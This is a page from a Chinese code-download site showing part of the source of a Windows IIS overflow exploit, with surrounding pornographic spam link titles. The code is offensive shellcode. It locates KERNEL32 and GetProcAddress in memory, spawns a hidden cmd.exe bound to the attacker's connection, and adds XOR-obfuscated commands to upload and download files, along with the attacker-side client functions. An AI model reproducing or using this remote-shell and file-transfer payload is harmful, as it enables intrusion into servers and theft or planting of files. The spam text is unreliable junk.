亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關(guān)于我們
? 蟲蟲下載站

?? windows下強大功能的溢出程序源代碼.txt

?? WINDOWS下強大功能的溢出程序源代碼
?? TXT
?? 第 1 頁 / 共 2 頁
字號:
    FARPROC     ReadFileadd;
    FARPROC     PeekNamedPipeadd;
    FARPROC     CloseHandleadd;
    FARPROC     CreateProcessadd;
    FARPROC     CreatePipeadd;
    
    FARPROC    procloadlib;
    FARPROC     apifnadd[1];
    FARPROC     procgetadd=0;
    FARPROC     writeclient= *(int *)(ecb+0x84);
    FARPROC     readclient = *(int *)(ecb+0x88);
    HCONN       ConnID     = *(int *)(ecb+8) ;
    char        *stradd;
    int         imgbase,fnbase,i,k,l;
    HANDLE      libhandle,fpt;   //libwsock32;  
    STARTUPINFO siinfo;

    PROCESS_INFORMATION ProcessInformation;
    HANDLE   hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
    int         lBytesRead;
    int  lockintvar1,lockintvar2;
    char lockcharvar;
    SECURITY_ATTRIBUTES sa;

    _asm {
                      jmp    nextcall
         getstradd:   pop    stradd
              lea    EDI,except
              mov    eax,dword ptr FS:[0]
              mov    dword ptr [edi+0x08],eax
              mov    dword ptr FS:[0],EDI
    }

    except[0]=0xffffffff;
    except[1]=stradd-0x07;

    imgbase=0x77e00000;
    _asm{
      call getexceptretadd
    }
    for(;imgbase<0xbffa0000,procgetadd==0;){
    imgbase+=0x10000;
    if(imgbase==0x78000000) imgbase=0xbff00000;
        if(*( WORD *)imgbase=='ZM'&& *(WORD *)(imgbase+*(int *)(imgbase+0x3c))=='EP'){
       fnbase=*(int *)(imgbase+*(int *)(imgbase+0x3c)+0x78)+imgbase;
       k=*(int *)(fnbase+0xc)+imgbase;
       if(*(int *)k =='NREK'&&*(int *)(k+4)=='23LE'){
         libhandle=imgbase;
         k=imgbase+*(int *)(fnbase+0x20);
         for(l=0;l<*(int *) (fnbase+0x18);++l,k+=4){
            if(*(int *)(imgbase+*(int *)k)=='PteG'&&*(int *)(4+imgbase+*(int *)k)=='Acor'){
              k=*(WORD *)(l+l+imgbase+*(int *)(fnbase+0x24));
          k+=*(int *)(fnbase+0x10)-1;
          k=*(int *)(k+k+k+k+imgbase+*(int *)(fnbase+0x1c));
          procgetadd=k+imgbase;
          break;
        }
        }
      }
    }
   }
// 搜索KERNEL32。DLL模塊地址和API函數(shù) GetProcAddress地址
// 注意這兒處理了搜索頁面不在情況。

   _asm{
       lea edi,except
           mov eax,dword ptr [edi+0x08]   
       mov dword ptr fs:[0],eax
   }
       
   if(procgetadd==0) goto  die ;

   for(k=1;k<SHELLFNNUMS;++k){
         apifnadd[k]=procgetadd(libhandle,stradd);
     for(;;++stradd){
            if(*(stradd)==0&&*(stradd+1)!=0) break;
         }
         ++stradd;
   }

   sa.nLength=12;
   sa.lpSecurityDescriptor=0;
   sa.bInheritHandle=TRUE;

   CreatePipeadd(&hReadPipe1,&hWritePipe1,&sa,0);
   CreatePipeadd(&hReadPipe2,&hWritePipe2,&sa,0);

// ZeroMemory(&siinfo,sizeof(siinfo));
   _asm{
            lea EDI,siinfo
            xor eax,eax
            mov ecx,0x11
            repnz stosd
   }
   siinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
   siinfo.wShowWindow = SW_HIDE;
   siinfo.hStdInput = hReadPipe2;
   siinfo.hStdOutput=hWritePipe1;
   siinfo.hStdError =hWritePipe1;
// k=0;
// while(k==0){
   k=CreateProcessadd(NULL,stradd,NULL,NULL,1,0,NULL,NULL,&siinfo,&ProcessInformation);
   stradd+=8;
// }    
   PeekNamedPipeadd(hReadPipe1,Buff,SHELLBUFFSIZE,&lBytesRead,0,0);

   k=8;
   writeclient(ConnID,stradd+9,&k,0);

   lockintvar1=LOCKBIGNUM2%LOCKBIGNUM;
   lockintvar2=lockintvar1;

   while(1){
        PeekNamedPipeadd(hReadPipe1,Buff,SHELLBUFFSIZE,&lBytesRead,0,0);
    if(lBytesRead>0){
            ReadFileadd(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
            if(lBytesRead>0){
             for(k=0;k<lBytesRead;++k){
                     lockintvar2=lockintvar2*0x100;
             lockintvar2=lockintvar2%LOCKBIGNUM;
             lockcharvar=lockintvar2%0x100;
                     Buff[k]^=lockcharvar;
              }
          writeclient(ConnID,Buff,&lBytesRead,0);
            } 
    }
    else{
              lBytesRead=SHELLBUFFSIZE;
            l=0;
          while(l==0){
                k=readclient(ConnID,Buff,&lBytesRead);
                   for(l=0;l<lBytesRead;++l){
                         lockintvar1=lockintvar1*0x100;
                 lockintvar1=lockintvar1%LOCKBIGNUM;
                 lockcharvar=lockintvar1%0x100;
                         Buff[l]^=lockcharvar;
           }
                if(k==1&&lBytesRead>4&&Buff[0]=='p'&&Buff[1]=='u'&&Buff[2]=='t'&&Buff[3]==' '){
                 l=*(int *)(Buff+4);
//                 WriteFileadd(fpt,Buff,lBytesRead,&lBytesRead,NULL); 
             

fpt=CreateFileAadd(Buff+0x8,FILE_FLAG_WRITE_THROUGH+GENERIC_WRITE,FILE_SHARE_READ,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0)

;
                         k=GetLastErroradd();
             i=0;
             while(l>0){
                              k=readclient(ConnID,Buff,&lBytesRead);
                              if(k==1){
                   if(lBytesRead>0){
                                      for(k=0;k<lBytesRead;++k){
                                          lockintvar1=lockintvar1*0x100;
                                     lockintvar1=lockintvar1%LOCKBIGNUM;
                                  lockcharvar=lockintvar1%0x100;
                                          Buff[k]^=lockcharvar;
                            }
                                   l-=lBytesRead;
                       WriteFileadd(fpt,Buff,lBytesRead,&lBytesRead,NULL); 
                                   }
                  }
                  else{
                         Sleepadd(0100);
                                    ++i;
                    } 
                  if(i>10000) l=0;
             }
                        CloseHandleadd(fpt);
                 l=0;
           }
           else{
               if(k==1&&lBytesRead>4&&Buff[0]=='g'&&Buff[1]=='e'&&Buff[2]=='t'&&Buff[3]==' '){                    

fpt=CreateFileAadd(Buff+4,GENERIC_READ,FILE_SHARE_READ+FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0); 
                            Sleepadd(100);
                l=GetFileSizeadd(fpt,&k);
                *(int *)Buff='ezis';        //size
                *(int *)(Buff+4)=l;
                lBytesRead=8;
                            for(i=0;i<lBytesRead;++i){
                                lockintvar2=lockintvar2*0x100;
                               lockintvar2=lockintvar2%LOCKBIGNUM;
                lockcharvar=lockintvar2%0x100;
                                Buff[i]^=lockcharvar;
                }
                            writeclient(ConnID,Buff,&lBytesRead,0);
                      //    Sleepadd(100);
                i=0;
                while(l>0){
                  k=SHELLBUFFSIZE; 
                                  ReadFileadd(fpt,Buff,k,&k,0);
                  if(k>0){
                                      for(i=0;i<k;++i){
                                        lockintvar2=lockintvar2*0x100;
                              lockintvar2=lockintvar2%LOCKBIGNUM;
                            lockcharvar=lockintvar2%0x100;
                                        Buff[i]^=lockcharvar;
                        }
                              i=0;
                                      l-=k;
                             writeclient(ConnID,Buff,&k,0); // HSE_IO_SYNC);
//                                    Sleepadd(100);               
                                }
                    else ++i;
                    if(i>100) l=0;
              }
              CloseHandleadd(fpt);
                    l=0;
             }
             else l=1;
         }
       }

           if(k!=1){
                k=8;
            WriteFileadd(hWritePipe2,stradd,k,&k,0); // exit cmd.exe
                    WriteFileadd(hWritePipe2,stradd,k,&k,0); // exit cmd.exe
            WriteFileadd(hWritePipe2,stradd,k,&k,0); // exit cmd.exe
            while(1){
                        Sleepadd(0x7fffffff);                  //僵死  
           }    
            
       }
       else{
                WriteFileadd(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
//             Sleepadd(1000);
      }
      }
  }

  die: goto die  ;

      _asm{

getexceptretadd:   pop  eax
           push eax
           mov  edi,dword ptr [stradd]
           mov dword ptr [edi-0x0e],eax
           ret
errprogram:       mov eax,dword ptr [esp+0x0c]
           add eax,0xb8
           mov dword ptr [eax],0x11223344  //stradd-0xe
           xor eax,eax        //2
           ret            //1
execptprogram:     jmp errprogram    //2 bytes stradd-7
nextcall:          call getstradd    //5 bytes
           NOP
           NOP
           NOP
           NOP
           NOP
           NOP
           NOP
           NOP
           NOP
       }        

}




void cleanchkesp(char *fnadd,char *shellbuff,char * chkesp,int len)
{ 
   int i,k;
   unsigned char temp;
   char *calladd;

   for(i=0;i<len;++i){
       temp=shellbuff[i];
       if(temp==0xe8){
         k=*(int *)(shellbuff+i+1);
         calladd=fnadd;
         calladd+=k;
         calladd+=i;
         calladd+=5;
         if(calladd==chkesp){
             shellbuff[i]=0x90;
             shellbuff[i+1]=0x43;   // inc ebx
                    shellbuff[i+2]=0x4b;    // dec ebx
             shellbuff[i+3]=0x43;
             shellbuff[i+4]=0x4b;
         }
       }
   }
}




void iisput(int fd,char *str){

char *filename;
char *filename2;
FILE *fpt;
char buff[0x2000];
int size=0x2000,i,j,filesize,filesizehigh;

filename="\0";
filename2="\0";
j=strlen(str);
for(i=0;i<j;++i,++str){
     if(*str!=' '){
     filename=str;
         break;
     } 
}
for(;i<j;++i,++str){
      if(*str==' ') {
     *str=0;
     break;
     }
}
++i;
++str;
for(;i<j;++i,++str){
       if(*str!=' '){
       filename2=str;
       break;
     }
}
for(;i<j;++i,++str){
      if(*str==' ') {
      *str=0;
      break;
     }
}

if(filename=="\x0") {
     printf("\n iisput filename [path\\fiename]\n");     
     return;
}
if(filename2=="\x0") filename2=filename;

printf("\n begin put file:%s",filename);

j=0;
ioctlsocket(fd, FIONBIO, &j);


Sleep(1000);

fpt=CreateFile(filename,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0); 
filesize=GetFileSize(fpt,&filesizehigh);
strcpy(buff,"put ");
*(int *)(buff+4)=filesize;
filesize=*(int *)(buff+4);
strcpy(buff+0x8,filename2);
newsend(fd,buff,i+0x9,0);
printf("\n put file:%s to file:%s %d bytes",filename,filename2,filesize);
Sleep(1000);

while(filesize>0){
      size=0x800;
      ReadFile(fpt,buff,size,&size,NULL); 
      if(size>0){
          newsend(fd,buff,size,0);
//          Sleep(0100);
          filesize-=size;
      }
}

CloseHandle(fpt);
j=1;
ioctlsocket(fd, FIONBIO, &j);

printf("\n put file ok!\n");
Sleep(1000);

}



void iisget(int fd,char *str){

char *filename;
char *filename2;
FILE *fpt;
char buff[0x2000];
int size=0x2000,i,j,filesize,filesizehigh;

filename="\0";
filename2="\0";
j=strlen(str);
for(i=0;i<j;++i,++str){
     if(*str!=' '){
     filename=str;
         break;
     } 
}
for(;i<j;++i,++str){
      if(*str==' ') {
     *str=0;
     break;
     }
}
++i;
++str;
for(;i<j;++i,++str){
      if(*str!=' '){
      filename2=str;
          break;
     }
}
for(;i<j;++i,++str){
     if(*str==' ') {
      *str=0;
      break;
     }
}


if(filename=="\x0") {
     printf("\n iisget filename [path\\fiename]\n");     
     return;
}
if(filename2=="\x0") filename2=filename;

printf("\n begin get file:%s",filename);

fpt=CreateFileA(filename,FILE_FLAG_WRITE_THROUGH+GENERIC_WRITE,FILE_SHARE_READ,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0); 
strcpy(buff,"get ");
strcpy(buff+0x4,filename2);
newsend(fd,buff,i+0x5,0);
printf("\n get file:%s from file:%s",filename,filename2);

j=0;
ioctlsocket(fd, FIONBIO, &j);

i=0;
filesize=0;

j=0;
while(j<100){
//  Sleep(100);
    i=newrecv(fd,buff,0x800,0);
    if(i>0){
    buff[i]=0;
    if(memcmp(buff,"size",4)==0){
          filesize=*(int *)(buff+4);
            j=100;
        }
    else {
        j=0;
        printf("\n recv %s",buff);
    }
    }
    else ++j;
// if(j>1000) i=0;
}

printf("\n file %d bytes %d\n",filesize,i);
if(i>8){
       i-=8;
       WriteFile(fpt,buff+8,i,&i,NULL);
       filesize-=i;
}

while(filesize>0){
      size=newrecv(fd,buff,0x800,0);
          if(size>0){
             WriteFile(fpt,buff,size,&size,NULL); 
             filesize-=size;
      }
      else {
           if(size==0) {
                  printf("\n ftp close \n "); 
             }
           else {
          printf("\n Sleep(100)");
          Sleep(100);
               }
          }

}
CloseHandle(fpt);
printf("\n get file ok!\n");
j=1;
ioctlsocket(fd, FIONBIO, &j);
}

int newrecv(int fd,char *buff,int size,int flag)
{
    
    int i,k;
    k=recv(fd,buff,size,flag);
        if(xordatabegin==1){
          for(i=0;i<k;++i){
                lockintvar1=lockintvar1*0x100;
        lockintvar1=lockintvar1%LOCKBIGNUM;
        lockcharvar=lockintvar1%0x100;
                buff[i]^=lockcharvar;
        }
        }
        return(k);
}

int newsend(int fd,char *buff,int size,int flag)
{

          int i;
          for(i=0;i<size;++i){
                lockintvar2=lockintvar2*0x100;
        lockintvar2=lockintvar2%LOCKBIGNUM;
        lockcharvar=lockintvar2%0x100;
                buff[i]^=lockcharvar; 
      }
      return(send(fd,buff,size,flag));   
}

?? 快捷鍵說明

復(fù)制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
成人avav影音| 久久蜜桃av一区二区天堂 | 午夜久久福利影院| 日韩网站在线看片你懂的| 国产一区二区毛片| 亚洲一区二区三区四区在线观看| 欧美日韩夫妻久久| 91最新地址在线播放| 国内偷窥港台综合视频在线播放| 国产精品久久久99| 日韩精品一区在线| 欧美日韩一二区| 欧美一级理论片| 精品国产精品网麻豆系列| 在线一区二区视频| 色综合天天狠狠| 99国产精品久久久久久久久久| 久久国产尿小便嘘嘘尿| 日韩精品三区四区| 五月天国产精品| 人禽交欧美网站| 日本aⅴ亚洲精品中文乱码| 午夜伦欧美伦电影理论片| 亚洲综合色丁香婷婷六月图片| 国产欧美综合色| 国产日本欧洲亚洲| 国产精品久久一级| 亚洲欧美日韩久久| 亚洲精品国产精华液| 中文字幕日韩欧美一区二区三区| 国产亚洲成aⅴ人片在线观看| 欧美一卡二卡三卡四卡| 精品日韩一区二区| 国产精品污www在线观看| 中文字幕在线视频一区| 亚洲精品视频一区二区| 首页国产丝袜综合| 国产福利精品导航| 91视频国产观看| 欧美精品一二三| 国产视频亚洲色图| 日本视频在线一区| 国产精品一二三四五| 色久综合一二码| 国产亚洲一区二区三区四区| 亚洲欧美影音先锋| 麻豆国产精品视频| 欧美亚洲禁片免费| 中文字幕亚洲欧美在线不卡| 日韩激情一区二区| 色伊人久久综合中文字幕| 久久久国产精品麻豆| 青青草原综合久久大伊人精品优势| 国产mv日韩mv欧美| 精品国产自在久精品国产| 亚洲成人手机在线| 99精品欧美一区二区蜜桃免费| 精品国产凹凸成av人网站| 五月天激情综合| 欧美高清你懂得| 一个色妞综合视频在线观看| 成人免费视频app| 欧美国产亚洲另类动漫| 国产999精品久久| 国产精品毛片高清在线完整版| 国产成人免费视频网站| 久久色在线观看| 国产剧情在线观看一区二区| 26uuu欧美日本| 国产大陆精品国产| 国产欧美日产一区| 99热这里都是精品| 夜夜亚洲天天久久| 欧美精品日日鲁夜夜添| 日本亚洲欧美天堂免费| 久久久综合网站| 99精品视频中文字幕| 亚洲午夜激情网站| 欧美一级日韩一级| 国产电影一区二区三区| 一区二区三区自拍| 欧美大片顶级少妇| caoporen国产精品视频| 精品一区二区av| 一区二区三区中文在线观看| 欧美猛男男办公室激情| 国产成人av电影在线| 伊人性伊人情综合网| 欧美变态tickle挠乳网站| 91免费精品国自产拍在线不卡| 亚洲第一精品在线| 欧美国产激情一区二区三区蜜月| 99久免费精品视频在线观看| 久久精品国产亚洲aⅴ| 夜色激情一区二区| 国产欧美日韩激情| 日韩一级免费一区| 欧美日韩国产成人在线免费| 国产电影一区二区三区| 日本欧美久久久久免费播放网| 国产精品不卡在线| 国产日韩影视精品| 久久综合狠狠综合久久激情| 欧美性大战xxxxx久久久| 99久久伊人精品| 色哟哟一区二区在线观看| av网站免费线看精品| 成人精品小蝌蚪| 高清国产一区二区三区| 床上的激情91.| av不卡在线播放| 99久久99久久精品免费看蜜桃| 国产99久久久国产精品潘金| 色一情一乱一乱一91av| 在线观看日韩电影| 欧美精品成人一区二区三区四区| 欧美在线免费播放| 欧美成人一区二区三区在线观看| 亚洲精品在线观| 国产精品灌醉下药二区| 亚洲另类春色国产| 免费在线成人网| fc2成人免费人成在线观看播放| 91在线国产观看| 宅男在线国产精品| 中文字幕欧美日本乱码一线二线| 亚洲码国产岛国毛片在线| 天堂成人国产精品一区| 国产精品18久久久久久vr| 不卡免费追剧大全电视剧网站| 91视频91自| 久久久综合视频| 午夜精品久久一牛影视| av在线播放成人| 精品人在线二区三区| 一区二区三区日本| 成人久久视频在线观看| 日韩欧美亚洲国产另类| 亚洲自拍与偷拍| 不卡视频在线观看| 国产精品污www在线观看| 日韩国产欧美三级| 在线影院国内精品| 自拍偷自拍亚洲精品播放| 国产一区二区三区四区五区入口 | 国产精品热久久久久夜色精品三区 | 亚洲视频免费观看| 国产一区二三区| 欧美一区二区不卡视频| 亚洲777理论| 欧美一区二区三级| 日韩国产欧美在线视频| 欧美日高清视频| 日本不卡高清视频| 2023国产一二三区日本精品2022| 美女脱光内衣内裤视频久久影院| 欧美一卡在线观看| 国产曰批免费观看久久久| 精品日韩在线观看| 国产高清在线精品| 国产精品高清亚洲| 欧美精品一二三| 国产精品综合av一区二区国产馆| 久久久99精品久久| 色悠久久久久综合欧美99| 水蜜桃久久夜色精品一区的特点| 亚洲精品一区二区三区福利| 国产麻豆精品久久一二三| 国产精品日韩精品欧美在线| 欧美色图天堂网| 国模冰冰炮一区二区| 亚洲免费av网站| 日韩女优av电影在线观看| 成人黄页在线观看| 日韩和欧美的一区| 亚洲欧美激情在线| 国产区在线观看成人精品| 色婷婷综合激情| 国产成人在线电影| 美腿丝袜亚洲三区| 亚洲国产成人tv| 亚洲欧美另类久久久精品 | 国产欧美一区二区精品仙草咪 | 91久久精品一区二区三区| 九九热在线视频观看这里只有精品| 136国产福利精品导航| 久久嫩草精品久久久精品一| 欧美高清一级片在线| 91成人在线免费观看| 色悠悠亚洲一区二区| 91美女片黄在线| 91麻豆视频网站| 91美女片黄在线观看91美女| 91在线看国产| 欧美日韩免费观看一区二区三区| 色综合一个色综合亚洲| 91成人网在线| 91精品国产一区二区三区| 日韩一区二区三免费高清| 日韩一区二区电影网|